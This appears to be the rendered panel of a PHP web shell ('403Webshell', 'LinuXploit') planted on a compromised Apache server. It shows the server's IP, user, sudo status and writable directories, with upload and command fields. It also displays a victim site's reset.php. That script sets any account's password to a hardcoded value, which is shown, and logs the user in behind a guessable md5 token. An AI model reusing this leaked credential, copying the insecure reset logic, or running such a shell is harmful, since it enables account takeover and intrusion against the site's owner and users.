403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usafundingapplications.ai/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usafundingapplications.ai/reset.php
<?php
session_start();
require_once('inc/db_config.php');
require_once('inc/common.php');
require_once('inc/Db.php');


if (! is_numeric($_GET['i']) || ! isset($_GET['c']))
{

	header('location: index.php');
	die;
}



$Db=New Db_Class;
$id=trim(mysql_real_escape_string($_GET['i']));
$code=trim(mysql_real_escape_string($_GET['c']));
$sql="SELECT user,email FROM lc_reseller WHERE id='$id'";
//echo $sql.'<br />';
$Db->query($sql);

if ($Db->num_rows() <= 0)
{
//	die('2');
	header('location: index.php');
	die;
}


$email=$Db->getSingle('email');
if ($code != md5($id.trim($email)))
{
	//die($code.','.$email);
	header('location: index.php');
	die;
}

$user=$Db->getSingle('user');
//echo "<h1> $user </h1>";
$sql="UPDATE lc_reseller SET password='n866ck1' WHERE id='$id'";
$Db->query($sql);

require_once('inc/Auth.php');

$Auth=New Auth;

$Auth->login($user,'n866ck1') or die('no');

header('location: membersonly/home.php');
die;

	



?>

Youez - 2016 - github.com/yon3zu
LinuXploit